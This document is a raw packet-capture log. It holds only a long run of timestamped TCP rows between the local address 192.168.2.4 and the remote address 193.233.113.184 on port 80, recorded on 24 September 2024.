Sep 24, 2024 21:30:13.085855961 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.085871935 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.085886002 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.085892916 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.085908890 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.085936069 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.085936069 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.086015940 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.086021900 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.086096048 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.086620092 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.086651087 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.086668015 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.086688042 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.086739063 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.086739063 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.086777925 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.086793900 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.086815119 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.086831093 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.086837053 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.086837053 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.086878061 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.086878061 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.086951971 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.087117910 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.087255001 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.087321997 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.087335110 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.087373972 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.087445974 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.087460995 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.087476015 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.087516069 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.087516069 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.087557077 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.087573051 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.087620020 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.087630033 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.087666035 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.087681055 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.087694883 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.087728977 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.087728977 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.087825060 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.087843895 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.087860107 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.087876081 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.087904930 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.087904930 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.087959051 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.088040113 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.088054895 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.088069916 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.088080883 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.088083029 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.088162899 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.202419043 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.202447891 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.202478886 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.202495098 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.202514887 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.202516079 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.202532053 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.202541113 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.202553988 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.202601910 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.202603102 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.202662945 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.202682018 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.202698946 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.202714920 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.202722073 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.202722073 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.202765942 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.202765942 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.202826023 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.203022003 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.203038931 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.203059912 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.203068972 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.203068972 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.203110933 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.203110933 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.203155041 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.203171968 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.203188896 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.203216076 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.203216076 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.203351974 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.203367949 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.203392029 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.203398943 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.203398943 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.203416109 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.203447104 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.203457117 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.203593969 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.203643084 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.203660965 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.203677893 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.203706980 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.203706980 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.203774929 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.203795910 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.203813076 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.203835964 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.203877926 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.203877926 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.203991890 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.204010010 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.204032898 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.204157114 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.204171896 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.204174042 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.204191923 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.204210043 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.204224110 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.204231024 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.204231024 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.204243898 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.204261065 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.204277992 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.204283953 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.204283953 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.204298019 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.204343081 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.204343081 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.204704046 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.204720020 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.204775095 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.204775095 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.204858065 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.204874992 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.204895973 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.204914093 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.204926968 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.204926968 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.204935074 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.204952955 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.204968929 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.204987049 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.204989910 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.204989910 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.205065966 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.205065966 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.205357075 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.205532074 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.205543995 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.205549002 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.205565929 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.205585003 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.205601931 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.205601931 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.205602884 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.205622911 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.205638885 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.205656052 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.205668926 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.205668926 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.205676079 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.205704927 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.205713987 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.205713987 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.205722094 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.205740929 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.205755949 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.205756903 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.205776930 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.205791950 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.205807924 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.205816031 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.205816984 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.206010103 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.206556082 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.206574917 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.206590891 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.206607103 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.206623077 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.206643105 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.206650972 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.206660032 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.206677914 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.206695080 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.206706047 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.206707001 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.206707001 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.206711054 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.206732035 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.206758976 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.206758976 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.206828117 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.318675041 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.318703890 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.318720102 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.318725109 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.318730116 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.318741083 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.318881989 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.318895102 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.318933964 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.318933964 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.319112062 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.319123030 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.319133997 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.319147110 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.319156885 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.319173098 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.319194078 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.319194078 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.319353104 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.319363117 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.319395065 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.319396019 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.319494963 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.319514990 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.319525957 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.319538116 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.319540024 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.319540024 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.319549084 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.319561005 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.319605112 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.319605112 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.319793940 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.319804907 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.319816113 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.319828033 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.319869995 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.319869995 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.319948912 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.319960117 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.320019960 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.320019960 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.320087910 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.320100069 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.320108891 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.320121050 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.320132017 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.320142984 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.320152998 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.320163965 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.320173979 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.320173979 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.320173979 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.320189953 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.320202112 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.320207119 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.320219040 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.320219040 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.320759058 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.320898056 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.320909977 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.320919037 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.320930004 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.320940971 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.320950031 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.320960999 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.320970058 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.320970058 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.320975065 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.320986032 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.320996046 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.321010113 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.321018934 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.321018934 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.321022034 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.321036100 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.321047068 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.321057081 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.321069002 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.321077108 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.321077108 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.321082115 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.321094036 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.321135044 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.321135044 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.321850061 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.321862936 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.321871996 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.321882963 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.321892977 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.321903944 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.321914911 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.321928024 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.321933031 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.321933031 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.321940899 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.321953058 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.321964025 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.321974993 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.321975946 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.321974993 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.321988106 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.322000027 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.322010994 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.322017908 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.322030067 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.322032928 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.322046041 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.322076082 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.322076082 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.322799921 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.322812080 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.322819948 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.322829962 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.322839975 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.322848082 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.322848082 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.322853088 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.322865009 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.322877884 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.322882891 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.322889090 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.322901011 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.322911978 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.322922945 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.322932005 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.322932005 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.322937012 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.322948933 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.322957993 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.322971106 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.322973013 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.322973013 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.323014975 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.323014975 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.323643923 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.323657990 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.323668957 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.323679924 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.323690891 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.323702097 CEST	80	49730	193.233.113.184	192.168.2.4
